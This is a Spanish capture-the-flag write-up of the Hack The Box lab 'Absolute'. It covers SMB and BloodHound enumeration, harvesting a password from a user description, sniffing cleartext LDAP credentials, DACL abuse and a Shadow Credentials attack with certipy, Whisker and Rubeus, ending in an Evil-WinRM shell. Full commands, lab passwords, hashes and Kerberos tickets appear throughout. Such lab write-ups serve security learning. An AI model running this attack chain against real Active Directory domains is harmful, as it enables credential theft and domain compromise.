SMB 10.129.229.59 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.129.229.59 445 DC [+] absolute.htb\d.klay:Darkmoonsky248girl
SMB 10.129.229.59 445 DC [+] Enumerated shares
SMB 10.129.229.59 445 DC Share Permissions Remark
SMB 10.129.229.59 445 DC ----- ----------- ------
SMB 10.129.229.59 445 DC ADMIN$ Remote Admin
SMB 10.129.229.59 445 DC C$ Default share
SMB 10.129.229.59 445 DC IPC$ READ Remote IPC
SMB 10.129.229.59 445 DC NETLOGON READ Logon server share
SMB 10.129.229.59 445 DC Shared
SMB 10.129.229.59 445 DC SYSVOL READ Logon server share
Vemos una carpeta llamada Shared, que de momento no podemos acceder, pero sería interesante apuntar para mirar más tarde.
Bloodhound
Blodhound es una herramienta que se usa para auditar Active Directory. Utiliza gráficos para mostrar cómo están relacionados los objetos dentro del dominio. Esto ayuda a comprender mejor el dominio y a planear posibles vectores de ataque para elevar privilegios o moverse lateralmente dentro del dominio.
Normalmente se suele disponer de una shell en el sistema, y se lanzan los ‘injestors’ SharpHound.exe o SharpHound.ps1, para recopilar toda la información a través de consultas LDAP que se guardan en ficheros json. Esto puede ser algo pesado de hacer ya que tienes que tener obligatoriamente una shell en alguno de los equipos del dominio y lo más probable es que tengas que evadir algún antivirus. En este caso en particular no queda otra que tirar bloodhound-python para enumerar el dominio.
Con el siguiente comando realizaremos todas esas consultas sin necesidad de subir ningún binario. La información recopilada estara comprendida en varios ficheros json que tendremos que subir a bloodhound.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ bloodhound-python -dc dc.absolute.htb -ns 10.129.68.75 -c all -d absolute.htb -u 'd.klay' -p 'Darkmoonsky248girl'
INFO: Found AD domain: absolute.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Found 18 users
INFO: Found 55 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.absolute.htb
INFO: Done in 00M 10S
Para iniciar bloodhound es necesario tener instalado neo4j, que es un tipo de base de datos que se basa en grafos.
1
2
3
4
5
6
7
8
9
10
11
12
❯ sudo neo4j console
[sudo] password for alex:
Directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /etc/neo4j/logs
plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import
data: /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses: /usr/share/neo4j/licenses
run: /var/lib/neo4j/run
Una vez iniciada la base de datos neo4j, ejecutamos bloodhound. En mi caso lo tengo a la última versión, y lo ejecuto con un alias., ya que por apt, suelen faltarle algunas features.
1
2
❯ which bloodhound
bloodhound: aliased to /opt/bloodhound/BloodHound --no-sandbox &> /dev/null & disown
1
2
❯ cat ~/.zshrc | grep bloodhound
alias bloodhound='/opt/bloodhound/BloodHound --no-sandbox &> /dev/null & disown'
Subimos los ficheros json para comenzar el analisis.
Tras realizar varias querys, no encuentro nada de utilidad. Estas querys eran:
- Find all Kerberoestable Users
- Shortest paths to Domain Admins
- Shortests paths to Uncronstained Delegation Systems
Como hemos mencionado antes, en un CTF es común encontrar información sensible, como contraseñas, en las descripciones de los usuarios. En este caso, necesité conectarme a la base de datos Neo4j desde el servidor web y escribir una consulta personalizada para recuperar esta información.
1
MATCH (u:User) return u.name, u.description
También lo podemos obtener inspeccionando el json perteneciente a la información de los usuarios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ cat 20231105223511_users.json | jq '.data[].Properties | .samaccountname + ":" + .description' -r
:
winrm_user:Used to perform simple network tasks
svc_smb:AbsoluteSMBService123!
d.lemm:
svc_audit:
c.colt:
s.johnson:
l.moore:
n.smith:
m.lovegod:
j.robinson:
D.Klay:
s.osvald:
J.Roberts:
M.Chaffrey:
krbtgt:Key Distribution Center Service Account
Administrator:Built-in account for administering the computer/domain
Guest:Built-in account for guest access to the computer/domain
User Pivoting: smc_smb
Probamos la contraseña del usuario svc_smb y vemos que es válida dentro del dominio.
1
2
3
❯ cme smb 10.129.229.59 -u 'svc_smb' -p 'AbsoluteSMBService123!' -k
SMB 10.129.229.59 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.129.229.59 445 DC [+] absolute.htb\svc_smb:AbsoluteSMBService123!
Anteriormente disponíamos de una carpeta compartida por SMB, a la cual no teníamos acceso, vamos a comprobar si ahora con el nuevo usuario comprometido, podemos acceder:
Enumerando SMB Autenticado
1
2
3
4
5
6
7
8
9
10
11
12
❯ cme smb 10.129.68.75 -u 'svc_smb' -p 'AbsoluteSMBService123!' -k --shares
SMB 10.129.68.75 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.129.68.75 445 DC [+] absolute.htb\svc_smb:AbsoluteSMBService123!
SMB 10.129.68.75 445 DC [+] Enumerated shares
SMB 10.129.68.75 445 DC Share Permissions Remark
SMB 10.129.68.75 445 DC ----- ----------- ------
SMB 10.129.68.75 445 DC ADMIN$ Remote Admin
SMB 10.129.68.75 445 DC C$ Default share
SMB 10.129.68.75 445 DC IPC$ READ Remote IPC
SMB 10.129.68.75 445 DC NETLOGON READ Logon server share
SMB 10.129.68.75 445 DC Shared READ
SMB 10.129.68.75 445 DC SYSVOL READ Logon server share
El output de crackmapexec nos indica que disponemos de permisos de lectura para esa carpeta. Para conectarme como el usuario smb_svc, voy eliminar el ticket anterior y generar uno nuevo.
1
2
3
❯ kdestroy
❯ kinit svc_smb
Password for svc_smb@ABSOLUTE.HTB:
No se porque por smbclient me daba fallos por todos lados usando Kerberos. En estes caso use impacket. Es importante setear la variable de entorno KRB55CNAME al ticket anteriormente, ya que impacket por defecto busca el fichero ccache para usar Kerberos.
1
2
3
4
5
6
❯ KRB5CCNAME=/tmp/krb5cc_1000 impacket-smbclient 'absolute.htb/svc_smb@dc.absolute.htb' -k
Impacket v0.11.0 - Copyright 2023 Fortra
Password:
Type help for list of commands
#
Dentro del fichero vemos dos ficheros, voy a descargarlos para inspeccionarlos detenidamente.
1
2
3
4
5
6
# use Shared
# ls
drw-rw-rw- 0 Thu Sep 1 19:02:23 2022 .
drw-rw-rw- 0 Thu Sep 1 19:02:23 2022 ..
-rw-rw-rw- 72 Thu Sep 1 19:02:23 2022 compiler.sh
-rw-rw-rw- 67584 Thu Sep 1 19:02:23 2022 test.exe
1
2
# get test.exe
# get compiler.sh
VPN: Routing
El fichero compiler.sh es un script para compilar un programa nimy test.exe es un ejecutable de Windows de 64 bits.
1
2
3
❯ file *
compiler.sh: Bourne-Again shell script, ASCII text executable, with CRLF line terminators
test.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, 11 sections
Voy a transferir el fichero a mi máquina Windows, para poder trastear más cómodamente.
Como atacante es de esperar que este binario este interactuando con el Domain Controller de alguna manera, pudiendo obtener credenciales en este proceso de comunicación. Lo que esta haciendo realmente es una consulta por LDAP al Domain Controller, y yo quiero capturarla con WireShark, y para esto es necesario tener conectividiad con la máquina víctima desde Windows
Uso de VPNForwarding.sh
Después de hacer varias máquinas en las que al final tenía que utilizar Windows y por ende tenía que cambiar la VPN de HTB o ejecutar las mismas reglas iptables una y otra vez, hice un pequeño script que automatizara todo el proceso.
El script es el siguiente VPNForwarding.sh. Su funcionamiento es sencillo: basta con ejecutarlo con privilegios de root en una máquina Linux y utilizar el comando resultante en la máquina Windows. De esta manera, mi máquina Kali actúa como enrutador, lo que me permite establecer conectividad con la máquina víctima desde mi Windows.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ sudo /opt/automation-tools/./VPNforwarding.sh
[sudo] password for alex:
[+] Interface tun0 exists, skipping
[!] IPv4 forwarding is not enabled! Do you want to enable it? (y/n): y
[*] Enabling IPv4 forwarding
[+] Done!
[!] Are you sure you want to proceed? All currently saved iptables rules will be deleted. (y/n):
y
[+] Iptables rules created, please run the following command on your Windows host:
route add 10.129.0.0/16 192.168.1.44
Pegamos el comando en la máquina Windows.
Ahora si que tenemos conectividad con la máquina víctima. Podemos comprobarlo envíando una traza ICMP.
Como nos estamos enfrentando a un controlador de dominio, voy a configurar la IP de Absolute como servidor DNS Esto se puede hacer de la siguiente forma: (Win + R ) ncpa.cpl
Seleccionamos la interfaz Ethernet0 y hacemos click derecho en propiedades.
Nos vamos a Protocolo de Internet versión 4
Y ponemos la IP de Absolute como servidor DNS preferido
Si hacemos una petición DNS a absolute.htb vemos que nos resuelve correctamente.
Capturando Credenciales con Wireshark
Habiendo transferido el binario a la máquina Windows, voy a ejecutarlo para ver que hace.
No veo ningún output ni ha ocurrido nada en especial. Antes de hacer reversing, voy a prender WireShark y voy a comprobar si cuando ejecute el binario existe tráfico saliente destinado a la dirección IP de Absolute. Ya que es común que esta clase de binarios customizados tengan que conectarse al DC, para realizar algún tipo de gestión pudiendo capturar credenciales en el proceso.
Cuando utilizamos Wireshark para capturar el tráfico en la interfaz Ethernet0, a menudo nos encontramos con una gran cantidad de datos que no son de interés. Con el siguiente filtro vamos a capturar solamente los paquetes que contienen la dirección IP de Absolute y al mismo tiempo, quitamos las solicitudes DNS. El filtro que he utilizado es el siguiente
1
ip.addr == 10.129.68.75 && not udp.port ==53
Vamos a volver a ejecutar test.exe
En WireShark podemos ver el tráfico de red generado, en el que se encuentran consultas LDAP.
Si inspeccionamos los paquetes podemos ver las credenciales del usuario m.lovegod, en texto plano.
Acceso Inicial
Voy a explicar dos métodos diferentes para obtener acceso. Uno desde Windows y otro desde Linux. En Windows, utilizaremos PowerView, Rubeus y Whisker, lo que resulta en un proceso más sencillo. En el caso de Linux, tendremos que realizar pasos adicionales, como descargar un script de Impacket llamado dacledit, que no se encuentra en la rama por defecto, y luego utilizar la certipy-ad.
Enumerando el vector de ataque desde Bloodhound
Primero vamos a comprobar que las credenciales capturadas por Wireshark sean válidas dentro del dominio.
1
2
3
❯ cme smb 10.129.68.75 -u 'm.lovegod' -p 'AbsoluteLDAP2022!' -k
SMB 10.129.68.75 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.129.68.75 445 DC [+] absolute.htb\m.lovegod:AbsoluteLDAP2022!
Siendo válidas marcamos al usuario m.lovegod como onwed dentro de bloodhound, nos movemos a la pestaña de Node y hacemos click en Reachable High Valuable Targets
El resultado de la query nos muestra un camino para convertirnos en el usuario winrm_user, el cual tiene la capacidad de crear una conexión remota en el equipo.
Si vemos los grupos a los que pertenece winrm_user, vemos que es miembro de Remote Management Users, que quiere decir, que con las credenciales de este usuario podemos conectarnos mediante el servicio de la administación remota de Windows (WinRM) al DC.
Vamos por partes, primero vamos a hacer click en Owns, para ver que podemos hacer
Bloodhound nos dice, que el usuario m.lovegod es dueño del grupo NetWork Audit, lo cual quiere decir que como propietario, puede cambiar la configuración de seguridad del grupo, incluso si existen unos permisoos establecidos por DACLs. Es decir podemos hacer lo que queramos con este grupo.
Seguidamente vemos que los miembros de Network Audit poseen un GenericWrite sobre el usuario winrm_user
Podemos escribir atributos específicos del usuario winrm_user como miembros de este grupo, pudiendo crear SPNs, es decir hacer el usuario Kerberoesteable y luego con impacket o rubeus obtener el ticket del usuario con su contraseña cifrada, esto tendría sentido si la contraseña de winrm_user fuera débil, que no es el caso. En este caso si nos vamos la pestaña Linux Abuse , vemos un ataque extra que es el Shadow Credentials Attack
Con este ataque es posible añadir Key Credentials al atributo msDS-KeyCredentialLink del objeto usuario/ordenador de destino y luego realizar la autenticación Kerberos como esa cuenta utilizando PKINIT.
Los requisitos para para que este ataque funcione son los siguientes:
- El dominio debe tener AD CS configurado
- El dominio debe tener un DC debe soportar PKINIT
El primer requisito lo cumplimos ya que al principio lo hemos enumerado por LDAP
El ataque explicado a detalle se puede encontrar aquí: Shadow Credentials Attack
Añadiendo a m.lovegood a Network Audit
Como mencionamos anteriormente, el usuario mv.lovegod tiene permisos FullControl sobre el grupo Network Audit. Por lo tanto, nuestra estrategia implica modificar la DACL para poder agregarlo a dicho grupo.
Método 1: Desde Linux
Nos clonamos la rama de dacledit en nuestro sistema.
1
2
3
4
5
6
7
8
❯ git clone https://github.com/ShutdownRepo/impacket -b dacledit
Cloning into 'impacket'...
remote: Enumerating objects: 24084, done.
remote: Counting objects: 100% (5485/5485), done.
remote: Compressing objects: 100% (298/298), done.
remote: Total 24084 (delta 5246), reused 5187 (delta 5187), pack-reused 18599
Receiving objects: 100% (24084/24084), 9.82 MiB | 6.68 MiB/s, done.
Resolving deltas: 100% (18353/18353), done.
Para no causar confictos con mi versión de impacket, creare un entorno virtual con python
1
2
❯ python3 -m venv .venv
❯ source .venv/bin/activate
Instalamos impacket en el entorno
1
2
3
4
5
6
7
❯ pip3 install .
Processing /home/alex/HTB/Absolute/content/impacket
Installing build dependencies ... done
Getting requirements to build wheel ... done
Preparing metadata (pyproject.toml) ... done
Collecting pyasn1>=0.2.3 (from impacket==0.9.25.dev1+20230823.145202.4518279)
Downloading pyasn1-0.5.0-py2.py3-none-any.whl (83 kB)
Después de completar estos pasos, ejecutamos el script dacledity.py, especificando la variable de entorno KRB5CCNAME para que apunte al ticket que generamos previamente. Esto se debe a que, por defecto, Impacket busca un archivo .ccache para la autenticación y en este caso lo hemos generado con kinit.
1
2
3
4
5
❯ KRB5CCNAME=/tmp/krb5cc_1000 ./dacledit.py -k -no-pass -dc-ip 10.129.68.75 -principal m.lovegod -target "Network Audit" -action write -rights FullControl absolute.htb/m.lovegod
Impacket v0.9.25.dev1+20230823.145202.4518279 - Copyright 2021 SecureAuth Corporation
[*] DACL backed up to dacledit-20231106-192332.bak
[*] DACL modified successfully!
Ahora vamos a añadir el usuario al grupo con net rpc.
1
❯ net rpc group addmem "Network Audit" -U m.lovegod -S dc.absolute.htb -k m.lovegod
No vemos ningún output. Podemos comprobar que el usuario se ha añadido correctamente con la opción members de net rpc
1
2
3
4
❯ net rpc group members "Network Audit" -U m.lovegod -S dc.absolute.htb --use-kerberos=required
Password for [WORKGROUP\m.lovegod]:
absolute\m.lovegod
absolute\svc_audit
Método 2: Desde Windows
El proceso anterior es mucho más sencillo desde una máquina Windows. El primer paso será generar una sesión para el usuario m.lovegod, como la autenticación NTLM está desactivada, lo haré mediante Kerberos. Para ello haré uso de Rubeus.exe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
PS C:\users\alex\desktop\HTB> C:\tools\Rubeus.exe asktgt /user:m.lovegod /password:AbsoluteLDAP2022! /domain:absolute.htb /ptt /enctype:aes256
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: 7455663292585851686A2C8B2DF22DCA5B0A3E84404DD480466E982E49B10554
[*] Building AS-REQ (w/ preauth) for: 'absolute.htb\m.lovegod'
[*] Using domain controller: 10.129.229.59:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFpDCCBaCgAwIBBaEDAgEWooIEqDCCBKRhggSgMIIEnKADAgEFoQ4bDEFCU09MVVRFLkhUQqIhMB+g
AwIBAqEYMBYbBmtyYnRndBsMYWJzb2x1dGUuaHRio4IEYDCCBFygAwIBEqEDAgECooIETgSCBErTFDp8
fD9obdY1ZXBq5lLaYfHkY/75/3W+HdlQ/giRUfkv5Db30OMrm12LxgsHNT1OUJAVpVvntWZD+LhKwfDG
7gdjv+i++031CGsjEUXXHCSsOG5r70cFenSNFqvyz+pKcHQ4yHF/jwd65FB5YLPTkfuSBXsaxtFmcpjh
YfDKzko3bsou0bPBkfq1u8PBND0tV0QyHbNh/icTUbmwwUq5EkL+ARELtdOYY1NOMqROeTIrd+JmUmlT
IVbHfwVkui+11W0TqF5yLQ+yI3Ila+HHNx8XYTYfRApYkq0SkW2bY8GX8JRAdtcQfIBA5fpDXOtbSqF2
6dPnCV42HL0zq41rjeauAP01pt3ChC3ZAN9K6UiuWHkqwnQzkUuE0qEpctlX7wXrxSxg4S8W1Tn7007k
CvfGVxNqK6tX7+2bTZQRtbAib5mPJAxFxHt+OkWIPhit3iUt13tXPf3Zh4iFdgZzZtWHD+90XbUL4pcQ
PEEUmat7oI7pJGGBKTvuCLPJBBHuH+AHl0UTtZtQxMXA4o29E6nAo038hluoc6rcP/e2ugxf7ikFh30X
rLJ1OOuEVM7GVCUUIsTqE93vnLrNXGfmtvUILH6B5D4vCOExawi6X3AyTotD6wNxZd2DWwzcQnYUirDt
taUvHFw/NFCD6EgELgao4PkXxc8UIgUFDUg4Xp0nOKPkrbkb+YPffzTsdpV/FNWfLfhktquI1jKUT71S
rmhLUx0Gx/q8N5mnyGfqbtXTuBeOl1LpRHTwaqU7s94tlyyuedIKwY2VFrjBEvz5PFbg3RMm8xI8POm1
3LuzDCbtG8eUI06Pe7Nwl7khn9JjEkgvsX1zGTD7CEjRr+3IjA5NJi6QEAFhYcZex94B4E50Ag6lAh7W
AV8sO+/ZIvu6FnGBX4umVBDPYvE1Qkbib83i60FVAaM+VjrkUi4K/QO5UJQOBxTflOKRftQ1Yhd5eNZQ
nyrmDoctrqXxt389S4XrRsTFwWuubzOgVpeeFyxPxEwP56Yab9FKTYcL/DUD+VCKF4ToUfgFzECZQME3
SV/WIr2w+9ukB50bxVTQ5MjDqTjL3pbcWqBbKr+oyzRKh29yTsHuDL0KeqlWxp/NMqVGPJzCavFGouYm
O3ho944FNTQhZ5vh9vuTtC4sk9lR5WikiQsAKBHH7afwksCCUTSgug/nCAeX4nrrND30oG/VQpc8bYC3
vvo2rWBK+22+XzteBZkfiR4jJPuFuvxQEypuz9TVMUhnqr4/3FUNzcDLtsCvctzgG2klCxuOLCBNLPvB
dfMi3waRfviKWtpFAlzot3M3AUBa7RfN17HAJsBFVhxtEST/L5wFg/1746Wsoc0cpJumU41Xu3Rw6ljy
GAbUCKtXvFSoQYYmERaRwxmNUNW1m2bb1C5SqBK94rOsfX0qNgTftzeIwd/MKTyJ7aiP+H9h0oFdy2PS
SRuDLeCe+zSWpwYeKdijgecwgeSgAwIBAKKB3ASB2X2B1jCB06CB0DCBzTCByqArMCmgAwIBEqEiBCAD
qKjTdIGrqPJ8ETU/NkHxrlXTZlGE8hexhViI28OeoKEOGwxBQlNPTFVURS5IVEKiFjAUoAMCAQGhDTAL
GwltLmxvdmVnb2SjBwMFAADhAAClERgPMjAyMzExMDcxNzE3MDRaphEYDzIwMjMxMTA3MjExNzA0WqcR
GA8yMDIzMTEwNzIxMTcwNFqoDhsMQUJTT0xVVEUuSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxhYnNv
bHV0ZS5odGI=
[+] Ticket successfully imported!
ServiceName : krbtgt/absolute.htb
ServiceRealm : ABSOLUTE.HTB
UserName : m.lovegod
UserRealm : ABSOLUTE.HTB
StartTime : 07/11/2023 18:17:04
EndTime : 07/11/2023 22:17:04
RenewTill : 07/11/2023 22:17:04
Flags : name_canonicalize, pre_authent, initial, renewable
KeyType : aes256_cts_hmac_sha1
Base64(key) : A6io03SBq6jyfBE1PzZB8a5V02ZRhPIXsYVYiNvDnqA=
ASREP (key) : 7455663292585851686A2C8B2DF22DCA5B0A3E84404DD480466E982E49B10554
PS C:\users\alex\desktop\HTB>
LIstamos los tickets y vemos que se ha importado correctamente.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\users\alex\desktop\HTB> klist
El id. de inicio de sesión actual es 0:0x25e7d
Vales almacenados en caché: (2)
#0> Cliente: m.lovegod @ ABSOLUTE.HTB
Servidor: krbtgt/absolute.htb @ ABSOLUTE.HTB
Tipo de cifrado de vale Kerberos: AES-256-CTS-HMAC-SHA1-96
Marcas de vale 0xe10000 -> renewable initial pre_authent name_canonicalize
Hora de inicio: 11/7/2023 18:17:04 (local)
Hora de finalización: 11/7/2023 22:17:04 (local)
Hora de renovación: 11/7/2023 22:17:04 (local)
Tipo de clave de sesión: AES-256-CTS-HMAC-SHA1-96
Marcas de caché: 0x1 -> PRIMARY
KDC llamado:
#1> Cliente: m.lovegod @ ABSOLUTE.HTB
Servidor: cifs/dc.absolute.htb @ ABSOLUTE.HTB
Tipo de cifrado de vale Kerberos: AES-256-CTS-HMAC-SHA1-96
Marcas de vale 0xa50000 -> renewable pre_authent ok_as_delegate name_canonicalize
Hora de inicio: 11/7/2023 18:17:58 (local)
Hora de finalización: 11/7/2023 22:17:04 (local)
Hora de renovación: 11/7/2023 22:17:04 (local)
Tipo de clave de sesión: AES-256-CTS-HMAC-SHA1-96
Marcas de caché: 0
KDC llamado: dc.absolute.htb
Podemos comprobarlo listando los recursos compartidos del DC.
1
2
3
4
5
6
7
8
9
10
11
PS C:\users\alex\desktop\HTB> dir \\dc.absolute.htb\shared
Directorio: \\dc.absolute.htb\shared
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 08/06/2022 15:22 72 compiler.sh
-a---- 08/06/2022 19:29 67584 test.exe
Bien para llevar a cabo este ataque según explica bloodhound, es necesario tener importado Powerview
1
PS C:\users\alex\desktop\HTB> Import-Module \tools\PowerView.ps1
Una vez echo esto vamos a añadirnos al grupo Network Audit con el siguente comando. En este caso el parámetro -Credential no es necesario de usar, ya que disponemos un ticket de kerberos perteneciente al usuario m.lovegod, por lo que no hace falta crear ningún objeto PSCredential.
1
PS C:\users\alex\desktop\HTB> Add-DomainObjectAcl -TargetIdentity "Network Audit" -Rights All -PrincipalIdentity m.lovegod -DomainController dc.absolute.htb
Disponiendo de todos los permisos sobre el grupo, voy a añadir el usuario m.lovegod al grupo Network Audit
1
PS C:\Users\Alex> Add-DomainGroupMember -Identity "Network Audit" -Member m.lovegod -Domain "absolute.htb"
Si vemos los miembros del grupo Network Audit vemos que m.lovegod se ha añadido correctamente.
Shadow Credentials Attack
Desde Linux: Certipy-AD
Este ataque se puede hacer usando pyWhisker o certipy-ad. En este caso lo voy a hacer con certipy, ya que el proceso es mucho más sencillo.
Con el siguiente comando automatizamos todo el proceso, obtiendo como resultado el hash del usuario winrm_user y el TGT, en un fichero ccache.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ KRB5CCNAME=/tmp/krb5cc_1000 certipy-ad shadow auto -username m.lovegod@absolute.htb -account winrm_user -k -target dc.absolute.htb
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Targeting user 'winrm_user'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '7bd93d9f-929e-6f28-ccea-c147fe59cf42'
[*] Adding Key Credential with device ID '7bd93d9f-929e-6f28-ccea-c147fe59cf42' to the Key Credentials for 'winrm_user'
[*] Successfully added Key Credential with device ID '7bd93d9f-929e-6f28-ccea-c147fe59cf42' to the Key Credentials for 'winrm_user'
[*] Authenticating as 'winrm_user' with the certificate
[*] Using principal: winrm_user@absolute.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_user.ccache'
[*] Trying to retrieve NT hash for 'winrm_user'
[*] Restoring the old Key Credentials for 'winrm_user'
[*] Successfully restored the old Key Credentials for 'winrm_user'
[*] NT hash for 'winrm_user': 8738c7413a5da3bc1d083efc0ab06cb2
Como hemos visto antes, la autenticación NTLM está desactivada, por lo que el hash solo sirve para intentar crackearlo y obtener la contraseña en texto plano, cosa que no he conseguido. En este caso usamos el TGT .ccache, para conectarnos por WinRM al DC.
1
2
❯ ls *.ccache
winrm_user.ccache
Usaré Evil-WinRM. Para conectarnos usando Kerberos debemos indicar como variable de entorno, el fichero .ccache perteneciente al usuario, e indicar el realm, es decir el nombre del dominio. También es importante indicar en lugar de la IP, el FQDN del DC, ya que Kerberos es especialillo y no le suelen gustar las IPs.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ KRB5CCNAME=winrm_user.ccache evil-winrm -i dc.absolute.htb -r absolute.htb -u winrm_user
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: User is not needed for Kerberos auth. Ticket will be used
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_user\Documents> whoami
absolute\winrm_user
*Evil-WinRM* PS C:\Users\winrm_user\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 3:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::19c
IPv6 Address. . . . . . . . . . . : dead:beef::7dc9:28ca:b147:9c36
Link-local IPv6 Address . . . . . : fe80::7dc9:28ca:b147:9c36%11
IPv4 Address. . . . . . . . . . . : 10.129.68.75
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:f8ec%11
10.129.0.1
Desde Windows: Whisker
Bien, este mismo ataque lo podemos hacer desde Windows con Whisker. Nos clonamos el repositorio y lo compilamos desde Visual Studio Code.
Antes de continuar. Existe una tarea programada en la máquina que hace que cada ciertos minutos se borre la DACL, que anteriormente hemos modifcado. Por lo que nuestro usuario será eliminado del grupo New Audit y no podremos realizar este ataque con éxito. Así que cada cierto tiempo hay que volver a ejecutar los comandos anteriores para añadir el usuario al grupo mientras realizamos el ataque. Otra cosa importante es que cuando nosotros añadimos el usuario al grupo, el ticket, del que disponemos no guarda esa información o almenos es mi conclusión por que el ataque no funcionaba. Mi consejo es que regenereis el ticket una vez hayais añadido el usuario al grupo. Esto se hace de la siguente manera:
1
2
klist purge
C:\tools\Rubeus.exe asktgt /user:m.lovegod /password:AbsoluteLDAP2022! /domain:absolute.htb /ptt /enctype:aes128
Bien con el ticket bueno en memoria vamos a realizar el ataque
1
PS C:\Users\Alex> C:\tools\Whisker.exe add /domain:absolute.htb /target:winrm_user /user:m.lovegod /dc:dc.absolute.htb
El output de Whisker nos dice que ejecutemos el siguiente comando con Rubeus para obtener el hash NTLM y TGT del usuario winrm_user.
Al comando que indica Whisker, le voy a añadir el parámetro /ptt, para inyectar el ticket en memoria.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
PS C:\Users\Alex> C:\tools\Rubeus.exe asktgt /user:winrm_user /certificate:MIIJ0AIBAzCCCYwGCSqGSIb3DQEHAaCCCX0Eggl5MIIJdTCCBhYGCSqGSIb3DQEHAaCCBgcEggYDMIIF/zCCBfsGCyqGSIb3DQEMCgECoIIE/jCCBPowHAYKKoZIhvcNAQwBAzAOBAjewtrzA3zMIAICB9AEggTYOiEpAk9/dRPIKB+UAynLT6DjxlXPbyqGfzFF/NemMBFEUilqOmB6ilFQXd82obdLQKsH0PgNKcMR6K+jR+qn3RJd6QW6Bk1Ggbz7fE+MbeelsWUcdLfVWesQfcbm7gZ82RVGhlw2TvgOUqmoJPh4F0UXOs/wYtIKw1eo97FW6oSBcR4urfmDzK0MvdXskTWq5V+i1g5ZEI+lgyA7cIknHdTGmty/IHRyWWSy7j9ouCnO84KGX25ZPmfqbh17O1ggJIDxBXtCRJUWPa6tLLohoh7mNovPLdHIg+bzU+ypW03a7Dv4Pa/mFwXYnVpNr1bz2DugFBst6Vbz8gVDU5kNVQWqagvQ6qP6ipIa6mP0KS+pckIXkQZq6Elp/6moSntEFmftR39W8ZOGKrWY83QI+gJjCRFhsiDy6heaAXuHazMX75jx88DUI5ZHjDmJvbJsNXO3b5uUvJ4MoEmLBDWxlqMpKo1e2q5jxuQ8Rr0AvfmhmQLhwvn5MXNdlYWigNnCbGcnZDye0YcDqt6VzU1i1XVxhMujMNf81gIhq0d3QOgIiaPLNszAmmqNHyUqgzXwIYWfeFnq+MuI0OWwGbMgYH4VYfeR9qEicAAszxSFDHRQOW9xGmu8qqc6XuAe3c1rSarzfwZEnZAMXkIqwCjwe82qPS98eXsVutdvV7D3GaAdz8XLVbuUQknL1rxFGR0dF/uGRgYR5F0pRIz8vSiquW/XorQxreU7VLqSIlfflDB1TrWpcRI4n8Zt2Nu0iPasyxkDl39u2NsXxdspCdOZya4zvLNZwawPJdcnRwSUwZ3QjkffY0KDUKNDQhf4kgSF35BUwWAzvUzP63DusqPgo+gp+HEXPvAlh0f2km9Ucldlzv32a8nfYjnCmGdEwOLcjcLrfZDDrTr3z/7diVyp5B4dwCfw4BixV1cQk/BcGIkQOgjC85Hi4BATBwvGEIN+eb4fuSaVyXzO0p/lLx1W0jmdJ+SQh/JgADYCVE9ThuJ36/0vAVq8XAcFwcUQjfvHqc7tY9lhFiUokRdItE9i7IZ0NIrQoJic0S50zB/8sq2QiOn1Z9toUpKy/I/gtCVoi2tGffQQoP0EpYCmyxTsVqe9SROaCyHtPj2L4x9mU086jTxd24Za2X3C+udVDEsEb5l5Eab+/n3XC2OTvTCwTtlmyF5na8PxKEoSQrf7FDCwbqLaistSHy+pXfSJOHjQXabGxUDtxW2qEfx1tERyKU0qws5Td0